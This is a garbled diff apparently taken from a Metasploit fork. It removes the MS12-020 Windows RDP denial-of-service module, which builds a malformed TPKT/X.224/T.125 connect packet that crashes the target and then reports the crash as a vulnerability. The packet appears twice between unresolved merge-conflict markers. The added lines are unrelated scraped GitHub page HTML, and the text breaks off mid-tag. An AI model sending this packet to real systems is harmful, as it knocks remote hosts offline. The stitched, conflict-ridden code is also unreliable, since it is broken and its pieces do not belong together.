-[ 'URL', 'http://pastie.org/private/4egcqt9nucxnsiksudy5dw' ], -[ 'URL', 'http://pastie.org/private/feg8du0e9kfagng4rrg' ], -[ 'URL', 'http://stratsec.blogspot.com.au/2012/03/ms12-020-vulnerability-for-breakfast.html' ], -[ 'EDB', '18606' ], -[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/03/21/metasploit-update' ] -], -'Author' => -[ -'Luigi Auriemma', -'Daniel Godas-Lopez', # Entirely based on Daniel's pastie -'Alex Ionescu', -'jduck', -'#ms12-020' # Freenode IRC -], -'License' => MSF_LICENSE, -'DisclosureDate' => "Mar 16 2012" -)) -register_options( -[ -Opt::RPORT(3389) -], self.class) -end + <meta name="msapplication-TileImage" content="/windows-tile.png" /> + <meta name="msapplication-TileColor" content="#ffffff" /> + <meta name="selected-link" value="repo_source" data-pjax-transient /> + <meta content="collector.githubapp.com" name="octolytics-host" /><meta content="github" name="octolytics-app-id" /><meta content="2720634E:3B8F:10541808:525933B6" name="octolytics-dimension-request_id" /> + -def is_rdp_up -begin -connect -return true -rescue Rex::ConnectionRefused -return false -rescue Rex::ConnectionTimeout -return false -end -end + + + <link rel="icon" type="image/x-icon" href="/favicon.ico" /> -def run -max_channel_ids = "\x02\x01\xff" + <meta content="authenticity_token" name="csrf-param" /> +<meta content="M4XyCMcKTHmBuLOsN3oOUkYCToVxegq7ewiWH3QVqsI=" name="csrf-token" /> -<<<<<<< HEAD - pkt = ''+ - "\x03\x00\x00\x13" + # TPKT: version + length - "\x0E\xE0\x00\x00" + # X.224 (connection request) - "\x00\x00\x00\x01" + - "\x00\x08\x00\x00" + - "\x00\x00\x00" + - "\x03\x00\x00\x6A" + # TPKT: version + length - "\x02\xF0\x80" + # X.224 (connect-initial) - "\x7F\x65\x82\x00" + # T.125 - "\x5E" + - "\x04\x01\x01" + # callingDomainSelector - "\x04\x01\x01" + # calledDomainSelector - "\x01\x01\xFF" + # upwardFlag - "\x30\x19" + # targetParameters - max_channel_ids + # maxChannelIds - "\x02\x01\xFF" + # maxUserIds - "\x02\x01\x00" + # maxTokenIds - "\x02\x01\x01" + # numPriorities - "\x02\x01\x00" + # minThroughput - "\x02\x01\x01" + # maxHeight - "\x02\x02\x00\x7C" + # maxMCSPDUsize - "\x02\x01\x02" + # protocolVersion - "\x30\x19" + # minimumParameters - max_channel_ids + # maxChannelIds - "\x02\x01\xFF" + # maxUserIds - "\x02\x01\x00" + # maxTokenIds - "\x02\x01\x01" + # numPriorities - "\x02\x01\x00" + # minThroughput - "\x02\x01\x01" + # maxHeight - "\x02\x02\x00\x7C" + # maxMCSPDUsize - "\x02\x01\x02" + # protocolVersion - "\x30\x19" + # maximumParameters - max_channel_ids + # maxChannelIds - "\x02\x01\xFF" + # maxUserIds - "\x02\x01\x00" + # maxTokenIds - "\x02\x01\x01" + # numPriorities - "\x02\x01\x00" + # minThroughput - "\x02\x01\x01" + # maxHeight - "\x02\x02\x00\x7C" + # maxMCSPDUsize - "\x02\x01\x02" + # protocolVersion - "\x04\x82\x00\x00" + # userData - "\x03\x00\x00\x08" + # TPKT: version + length - "\x02\xF0\x80" + # X.224 - "\x28" + # T.125 - "\x03\x00\x00\x08" + # TPKT: version + length - "\x02\xF0\x80" + # X.224 - "\x28" + # T.125 - "\x03\x00\x00\x08" + # TPKT: version + length - "\x02\xF0\x80" + # X.224 - "\x28" + # T.125 - "\x03\x00\x00\x08" + # TPKT: version + length - "\x02\xF0\x80" + # X.224 - "\x28" + # T.125 - "\x03\x00\x00\x08" + # TPKT: version + length - "\x02\xF0\x80" + # X.224 - "\x28" + # T.125 - "\x03\x00\x00\x08" + # TPKT: version + length - "\x02\xF0\x80" + # X.224 - "\x28" + # T.125 - "\x03\x00\x00\x08" + # TPKT: version + length - "\x02\xF0\x80" + # X.224 - "\x28" + # T.125 - "\x03\x00\x00\x08" + # TPKT: version + length - "\x02\xF0\x80" + # X.224 - "\x28" + # T.125 - "\x03\x00\x00\x0C" + # TPKT: version + length - "\x02\xF0\x80" + # X.224 - "\x38\x00\x06\x03" + # T.125 - "\xF0" + - "\x03\x00\x00\x09" + # TPKT: version + length - "\x02\xF0\x80" + # X.224 - "\x21\x80" # T.125 + <link href="https://github.global.ssl.fastly.net/assets/github-1c7dbb8d7b87dc092768f2d88b14ab1038cb1fa3.css" media="all" rel="stylesheet" type="text/css" /> + <link href="https://github.global.ssl.fastly.net/assets/github2-d1457f7530b4fbdf863344e647db192927f12c58.css" media="all" rel="stylesheet" type="text/css" /> + - connect - print_status("#{rhost}:#{rport} - Sending #{self.name}") - sock.put(pkt) - select(nil, nil, nil, 3) - disconnect - print_status("#{rhost}:#{rport} - #{pkt.length.to_s} bytes sent") + - print_status("#{rhost}:#{rport} - Checking RDP status...") - if not is_rdp_up - print_good("#{rhost}:#{rport} seems down") - report_vuln({ - :host => rhost, - :port => rport, - :name => self.name, - :refs => self.references, - :info => "Module #{self.fullname} successfully crashed the target system via RDP" - }) - else - print_status("#{rhost}:#{rport} is still up") - end - end + <script src="https://github.global.ssl.fastly.net/assets/frameworks-5036c64d838328b79e082f548848e2898412e869.js" type="text/javascript"></script> + <script src="https://github.global.ssl.fastly.net/assets/github-0818b6c0fb5cc21fd7ee0062b133b12cabe1d086.js" type="text/javascript"></script> + + <meta http-equiv="x-pjax-version" content="143789be21832e509e3d1d798edd37fc"> -======= - pkt = ''+ - "\x03\x00\x00\x13" + # TPKT: version + length - "\x0E\xE0\x00\x00" + # X.224 (connection request) - "\x00\x00\x00\x01" + - "\x00\x08\x00\x00" + - "\x00\x00\x00" + - "\x03\x00\x00\x6A" + # TPKT: version + length - "\x02\xF0\x80" + # X.224 (connect-initial) - "\x7F\x65\x82\x00" + # T.125 - "\x5E" + - "\x04\x01\x01" + # callingDomainSelector - "\x04\x01\x01" + # calledDomainSelector - "\x01\x01\xFF" + # upwardFlag - "\x30\x19" + # targetParameters - max_channel_ids + # maxChannelIds - "\x02\x01\xFF" + # maxUserIds - "\x02\x01\x00" + # maxTokenIds - "\x02\x01\x01" + # numPriorities - "\x02\x01\x00" + # minThroughput - "\x02\x01\x01" + # maxHeight - "\x02\x02\x00\x7C" + # maxMCSPDUsize - "\x02\x01\x02" + # protocolVersion - "\x30\x19" + # minimumParameters - max_channel_ids + # maxChannelIds - "\x02\x01\xFF" + # maxUserIds - "\x02\x01\x00" + # maxTokenIds - "\x02\x01\x01" + # numPriorities - "\x02\x01\x00" + # minThroughput - "\x02\x01\x01" + # maxHeight - "\x02\x02\x00\x7C" + # maxMCSPDUsize - "\x02\x01\x02" + # protocolVersion - "\x30\x19" + # maximumParameters - max_channel_ids + # maxChannelIds - "\x02\x01\xFF" + # maxUserIds - "\x02\x01\x00" + # maxTokenIds - "\x02\x01\x01" + # numPriorities - "\x02\x01\x00" + # minThroughput - "\x02\x01\x01" + # maxHeight - "\x02\x02\x00\x7C" + # maxMCSPDUsize - "\x02\x01\x02" + # protocolVersion - "\x04\x82\x00\x00" + # userData - "\x03\x00\x00\x08" + # TPKT: version + length - "\x02\xF0\x80" + # X.224 - "\x28" + # T.125 - "\x03\x00\x00\x08" + # TPKT: version + length - "\x02\xF0\x80" + # X.224 - "\x28" + # T.125 - "\x03\x00\x00\x08" + # TPKT: version + length - "\x02\xF0\x80" + # X.224 - "\x28" + # T.125 - "\x03\x00\x00\x08" + # TPKT: version + length - "\x02\xF0\x80" + # X.224 - "\x28" + # T.125 - "\x03\x00\x00\x08" + # TPKT: version + length - "\x02\xF0\x80" + # X.224 - "\x28" + # T.125 - "\x03\x00\x00\x08" + # TPKT: version + length - "\x02\xF0\x80" + # X.224 - "\x28" + # T.125 - "\x03\x00\x00\x08" + # TPKT: version + length - "\x02\xF0\x80" + # X.224 - "\x28" + # T.125 - "\x03\x00\x00\x08" + # TPKT: version + length - "\x02\xF0\x80" + # X.224 - "\x28" + # T.125 - "\x03\x00\x00\x0C" + # TPKT: version + length - "\x02\xF0\x80" + # X.224 - "\x38\x00\x06\x03" + # T.125 - "\xF0" + - "\x03\x00\x00\x09" + # TPKT: version + length - "\x02\xF0\x80" + # X.224 - "\x21\x80" # T.125 - if is_rdp_up - connect - print_status("#{rhost}:#{rport} - Sending #{self.name}") - sock.put(pkt) - select(nil, nil, nil, 3) - disconnect - print_status("#{rhost}:#{rport} - #{pkt.length.to_s} bytes sent") + <link data-pjax-transient rel='permalink' href='/jvazquez-r7/metasploit-framework/blob/5dcff47b1efa5359562a28b5717a9f4895185597/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb'> + <meta property="og:title" content="metasploit-framework"/> + <meta property="og:type" content="githubog:gitrepository"/> + <meta property="og:url" content="https://github.com/jvazquez-r7/metasploit-framework"/> + <meta property="og:image" content="https://github.global.ssl.fastly.net/images/gravatars/gravatar-user-420.png"/> + <meta property="og:site_name" content="GitHub"/> + <meta property="og:description" content="metasploit-framework - Metasploit Framework"/> + + <meta name="description" content="metasploit-framework - Metasploit Framework" /> + + <meta content="1742838" name="octolytics-dimension-user_id" /><meta content="jvazquez-r7" name="octolytics-dimension-user_login" /><meta content="6786012" name="octolytics-dimension-repository_id" /><meta content="jvazquez-r7/metasploit-framework" name="octolytics-dimension-repository_nwo" /><meta content="true" name="octolytics-dimension-repository_public" /><meta content="true" name="octolytics-dimension-repository_is_fork" /><meta content="2293158" name="octolytics-dimension-repository_parent_id" /><meta content="rapid7/metasploit-framework" name="octolytics-dimension-repository_parent_nwo" /><meta content="2293158" name="octolytics-dimension-repository_network_root_id" /><meta content="rapid7/metasploit-framework" name="octolytics-dimension-repository_network_root_nwo" /> + <link href="https://github.com/jvazquez-r7/metasploit-framework/commits/5dcff47b1efa5359562a28b5717a9f4895185597.atom" rel="alternate" title="Recent Commits to metasploit-framework:5dcff47b1efa5359562a28b5717a9f4895185597" type="application/atom+xml" /> + + </head> + + + <body class="logged_out env-production vis-public fork page-blob"> + <div class="wrapper"> + + + + + + + <div class="header header-logged-out"> + <div class="container clearfix"> + + <a class="header-logo-wordmark" href="https://github.com/"> + <span class="mega-octicon octicon-logo-github"></span> + </a> + + <div class="header-actions"> + <a class="button primary" href="/signup">Sign up</a> + <a class="button signin" href="/login?return_to=%2Fjvazquez-r7%2Fmetasploit-framework%2Fblob%2F5dcff47b1efa5359562a28b5717a9f4895185597%2Fmodules%2Fauxiliary%2Fdos%2Fwindows%2Frdp%2Fms12_020_maxchannelids.rb">Sign in</a> + </div> + + <div class="command-bar js-command-bar in-repository"> + + <ul class="top-nav"> + <li class="explore"><a href="/explore">Explore</a></li> + <li class="features"><a href="/features">Features</a></li> + <li class="enterprise"><a href="https://enterprise.github.com/">Enterprise</a></li> + <li class="blog"><a href="/blog">Blog</a></li> + </ul> + <form accept-charset="UTF-8" action="/search" class="command-bar-form" id="top_search_form" method="get"> + +<input type="text" data-hotkey="/ s" name="q" id="js-command-bar-field" placeholder="Search or type a command" tabindex="1" autocapitalize="off" + + + data-repo="jvazquez-r7/metasploit-framework" + data-branch="5dcff47b1efa5359562a28b5717a9f4895185597" + data-sha="8a2f1f522a5e81eb258378a73feb62acab6f874f" + > + + <input type="hidden" name="nwo" value="jvazquez-r7/metasploit-framework" /> + + <div class="select-menu js-menu-container js-select-menu search-context-select-menu"> + <span class="minibutton select-menu-button js-menu-target"> + <span class="js-select-button">This repository</span> + </span> + + <div class="select-menu-modal-holder js-menu-content js-navigation-container"> + <div class="select-menu-modal"> + + <div class="select-menu-item js-navigation-item js-this-repository-navigation-item selected"> + <span class="select-menu-item-icon octicon octicon-check"></span> + <input type="radio" class="js-search-this-repository" name="search_target" value="repository" checked="checked" /> + <div class="select-menu-item-text js-select-button-text">This repository</div> + </div> <!-- /.select-menu-item --> + + <div class="select-menu-item js-navigation-item js-all-repositories-navigation-item"> + <span class="select-menu-item-icon octicon octicon-check"></span> + <input type="radio" name="search_target" value="global" /> + <div class="select-menu-item-text js-select-button-text">All repositories</div> + </div> <!-- /.select-menu-item --> + + </div> + </div> + </div> + + <span class="octicon help tooltipped downwards" title="Show command bar help"> + <span class="octicon octicon-question"></span> + </span> + + + <input type="hidden" name="ref" value="cmdform"> + +</form> + </div> + + </div> +</div> + + + + + + <div class="site" itemscope itemtype="http://schema.org/WebPage"> + + <div class="pagehead repohead instapaper_ignore readability-menu"> + <div class="container"> + + +<ul class="pagehead-actions"> + + + <li> + <a href="/login?return_to=%2Fjvazquez-r7%2Fmetasploit-framework" + class="minibutton with-count js-toggler-target star-button entice tooltipped upwards" + title="You must be signed in to use this feature" rel="nofollow"> + <span class="octicon octicon-star"></span>Star +</a> +<a class="social-count js-social-count" href="/jvazquez-r7/metasploit-framework/stargazers"> + 1 +</a> + + </li> + + <li> + <a href="/login?return_to=%2Fjvazquez-r7%2Fmetasploit-framework" + class="minibutton with-count js-toggler-target fork-button entice tooltipped upwards" + title="You must be signed in to fork a repository" rel="nofollow"> + <span class="octicon octicon-git-branch"></span>Fork + </a> + <a href="/jvazquez-r7/metasploit-framework/network" class="social-count"> + 1,217 + </a> + </li> +</ul> + + <h1 itemscope itemtype="http://data-vocabulary.org/Breadcrumb" class="entry-title public"> + <span class="repo-label"><span>public</span></span> + <span class="mega-octicon octicon-repo"></span> + <span class="author"> + <a href="/jvazquez-r7" class="url fn" itemprop="url" rel="author"><span itemprop="title">jvazquez-r7</span></a> + </span> + <span class="repohead-name-divider">/</span> + <strong><a href="/jvazquez-r7/metasploit-framework" class="js-current-repository js-repo-home-link">metasploit-framework</a></strong> + + <span class="page-context-loader"> + <img alt="Octocat-spinner-32" height="16" src="https://github.global.ssl.fastly.net/images/spinners/octocat-spinner-32.gif" width="16" /> + </span> + + <span class="fork-flag"> + <span class="text">forked from <a href="/rapid7/metasploit-framework">rapid7/metasploit-framework</a></span> + </span> + </h1> + </div><!-- /.container --> + </div><!-- /.repohead --> + + <div class="container"> + + <div class="repository-with-sidebar repo-container "> + + <div class="repository-sidebar"> + + +<div class="repo-nav repo-nav-full js-repository-container-pjax js-octicon-loaders"> + <div class="repo-nav-contents"> + <ul class="repo-menu"> + <li class="tooltipped leftwards" title="Code"> + <a href="/jvazquez-r7/metasploit-framework" aria-label="Code" class="js-selected-navigation-item selected" data-gotokey="c" data-pjax="true" data-selected-links="repo_source repo_downloads repo_commits repo_tags repo_branches /jvazquez-r7/metasploit-framework"> + <span class="octicon octicon-code"></span> <span class="full-word">Code</span> + <img alt="Octocat-spinner-32" class="mini-loader" height="16" src="https://github.global.ssl.fastly.net/images/spinners/octocat-spinner-32.gif" width="16" /> +</a> </li> + + + <li class="tooltipped leftwards" title="Pull Requests"><a href="/jvazquez-r7/metasploit-framework/pulls" aria-label="Pull Requests" class="js-selected-navigation-item js-disable-pjax" data-gotokey="p" data-selected-links="repo_pulls /jvazquez-r7/metasploit-framework/pulls"> + <span class="octicon octicon-git-pull-request"></span> <span class="full-word">Pull Requests</span> + <span class='counter'>1</span> + <img alt="Octocat-spinner-32" class="mini-loader" height="16" src="https://github.global.ssl.fastly.net/images/spinners/octocat-spinner-32.gif" width="16" /> +</a> </li> + + + </ul> + <div class="repo-menu-separator"></div> + <ul class="repo-menu"> + + <li class="tooltipped leftwards" title="Pulse"> + <a href="/jvazquez-r7/metasploit-framework/pulse" aria-label="Pulse" class="js-selected-navigation-item " data-pjax="true" data-selected-links="pulse /jvazquez-r7/metasploit-framework/pulse"> + <span class="octicon octicon-pulse"></span> <span class="full-word">Pulse</span> + <img alt="Octocat-spinner-32" class="mini-loader" height="16" src="https://github.global.ssl.fastly.net/images/spinners/octocat-spinner-32.gif" width="16" /> +</a> </li> + + <li class="tooltipped leftwards" title="Graphs"> + <a href="/jvazquez-r7/metasploit-framework/graphs" aria-label="Graphs" class="js-selected-navigation-item " data-pjax="true" data-selected-links="repo_graphs repo_contributors /jvazquez-r7/metasploit-framework/graphs"> + <span class="octicon octicon-graph"></span> <span class="full-word">Graphs</span> + <img alt="Octocat-spinner-32" class="mini-loader" height="16" src="https://github.global.ssl.fastly.net/images/spinners/octocat-spinner-32.gif" width="16" /> +</a> </li> + + <li class="tooltipped leftwards" title="Network"> + <a href="/jvazquez-r7/metasploit-framework/network" aria-label="Network" class="js-selected-navigation-item js-disable-pjax" data-selected-links="repo_network /jvazquez-r7/metasploit-framework/network"> + <span class="octicon octicon-git-branch"></span> <span class="full-word">Network</span> + <img alt="Octocat-spinner-32" class="mini-loader" height="16" src="https://github.global.ssl.fastly.net/images/spinners/octocat-spinner-32.gif" width="16" /> +</a> </li> + </ul> + + + </div> +</div> + + <div class="only-with-full-nav"> + + + + +<div class="clone-url open" + data-protocol-type="http" + data-url="/users/set_protocol?protocol_selector=http&amp;protocol_type=clone"> + <h3><strong>HTTPS</strong> clone URL</h3> + <div class="clone-url-box"> + <input type="text" class="clone js-url-field" + value="https://github.com/jvazquez-r7/metasploit-framework.git" readonly="readonly"> + + <span class="js-zeroclipboard url-box-clippy minibutton zeroclipboard-button" data-clipboard-text="https://github.com/jvazquez-r7/metasploit-framework.git" data-copied-hint="copied!" title="copy to clipboard"><span class="octicon octicon-clippy"></span></span> + </div> +</div> + + + +<div class="clone-url " + data-protocol-type="subversion" + data-url="/users/set_protocol?protocol_selector=subversion&amp;protocol_type=clone"> + <h3><strong>Subversion</strong> checkout URL</h3> + <div class="clone-url-box"> + <input type="text" class="clone js-url-field" + value="https://github.com/jvazquez-r7/metasploit-framework" readonly="readonly"> + + <span class="js-zeroclipboard url-box-clippy minibutton zeroclipboard-button" data-clipboard-text="https://github.com/jvazquez-r7/metasploit-framework" data-copied-hint="copied!" title="copy to clipboard"><span class="octicon octicon-clippy"></span></span> + </div> +</div> + + +<p class="clone-options">You can clone with + <a href="#" class="js-clone-selector" data-protocol="http">HTTPS</a>, + or <a href="#" class="js-clone-selector" data-protocol="subversion">Subversion</a>. + <span class="octicon help tooltipped upwards" title="Get help on which URL is right for you."> + <a href="https://help.github.com/articles/which-remote-url-should-i-use"> + <span class="octicon octicon-question"></span> + </a> + </span> +</p> + + + + <a href="/jvazquez-r7/metasploit-framework/archive/5dcff47b1efa5359562a28b5717a9f4895185597.zip" + class="minibutton sidebar-button" + title="Download this repository as a zip file" + rel="nofollow"> + <span class="octicon octicon-cloud-download"></span> + Download ZIP + </a> + </div> + </div><!-- /.repository-sidebar --> + + <div id="js-repo-pjax-container" class="repository-content context-loader-container" data-pjax-container> + + + +<!-- blob contrib key: blob_contributors:v21:37b846eca7869335328b7ac6181df7cc --> + +<p title="This is a placeholder element" class="js-history-link-replace hidden"></p> + +<a href="/jvazquez-r7/metasploit-framework/find/5dcff47b1efa5359562a28b5717a9f4895185597" data-pjax data-hotkey="t" class="js-show-file-finder" style="display:none">Show File Finder</a> + +<div class="file-navigation"> + + + +<div class="select-menu js-menu-container js-select-menu" > + <span class="minibutton select-menu-button js-menu-target" data-hotkey="w" + data-master-branch="master" + data-ref="" + role="button" aria-label="Switch branches or tags" tabindex="0"> + <span class="octicon octicon-git-branch"></span> + <i>tree:</i> + <span class="js-select-button">5dcff47b1e</span> + </span> + + <div class="select-menu-modal-holder js-menu-content js-navigation-container" data-pjax> + + <div class="select-menu-modal"> + <div class="select-menu-header"> + <span class="select-menu-title">Switch branches/tags</span> + <span class="octicon octicon-remove-close js-menu-close"></span> + </div> <!-- /.select-menu-header --> + + <div class="select-menu-filters"> + <div class="select-menu-text-filter"> + <input type="text" aria-label="Filter branches/tags" id="context-commitish-filter-field" class="js-filterable-field js-navigation-enable" placeholder="Filter branches/tags"> + </div> + <div class="select-menu-tabs"> + <ul> + <li class="select-menu-tab"> + <a href="#" data-tab-filter="branches" class="js-select-menu-tab">Branches</a> + </li> + <li class="select-menu-tab"> + <a href="#" data-tab-filter="tags" class="js-select-menu-tab">Tags</a> + </li> + </ul> + </div><!-- /.select-menu-tabs --> + </div><!-- /.select-menu-filters --> + + <div class="select-menu-list select-menu-tab-bucket js-select-menu-tab-bucket" data-tab-filter="branches"> + + <div data-filterable-for="context-commitish-filter-field" data-filterable-type="substring"> + + + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/3vi1john-file_collector/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="3vi1john-file_collector" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="3vi1john-file_collector">3vi1john-file_collector</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/403labs-post-pgpass_creds/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="403labs-post-pgpass_creds" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="403labs-post-pgpass_creds">403labs-post-pgpass_creds</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/CVE-2013-1814/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="CVE-2013-1814" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="CVE-2013-1814">CVE-2013-1814</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/CWE/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="CWE" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="CWE">CWE</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/ChrisJohnRiley-concrete5_member_list/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="ChrisJohnRiley-concrete5_member_list" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="ChrisJohnRiley-concrete5_member_list">ChrisJohnRiley-concrete5_member_list</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/ChrisJohnRiley-sip_invite_spoof/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="ChrisJohnRiley-sip_invite_spoof" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="ChrisJohnRiley-sip_invite_spoof">ChrisJohnRiley-sip_invite_spoof</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/Datacut-master/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="Datacut-master" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="Datacut-master">Datacut-master</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/LittleLightLittleFire-module-cve-2012-1723/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="LittleLightLittleFire-module-cve-2012-1723" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="LittleLightLittleFire-module-cve-2012-1723">LittleLightLittleFire-module-cve-2012-1723</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/Meatballs1-smb_login/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="Meatballs1-smb_login" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="Meatballs1-smb_login">Meatballs1-smb_login</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/Meatballs1-uplay/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="Meatballs1-uplay" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="Meatballs1-uplay">Meatballs1-uplay</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/WinRM/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="WinRM" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="WinRM">WinRM</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/account_methods_keyring/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="account_methods_keyring" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="account_methods_keyring">account_methods_keyring</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/actfax_raw_bof/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="actfax_raw_bof" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="actfax_raw_bof">actfax_raw_bof</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/add_doc_stager/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="add_doc_stager" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="add_doc_stager">add_doc_stager</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/add-kaminari-to-gemcache/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="add-kaminari-to-gemcache" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="add-kaminari-to-gemcache">add-kaminari-to-gemcache</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/add_ms13_071_info/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="add_ms13_071_info" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="add_ms13_071_info">add_ms13_071_info</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/adobe_sandbox_adobecollabsync/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="adobe_sandbox_adobecollabsync" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="adobe_sandbox_adobecollabsync">adobe_sandbox_adobecollabsync</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/apache_rave_creds/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="apache_rave_creds" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="apache_rave_creds">apache_rave_creds</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/apache_rave_creds_2/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="apache_rave_creds_2" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="apache_rave_creds_2">apache_rave_creds_2</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/apple_quicktime_mime_type/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="apple_quicktime_mime_type" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="apple_quicktime_mime_type">apple_quicktime_mime_type</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/apple_quicktime_rdrf_refs/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="apple_quicktime_rdrf_refs" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open 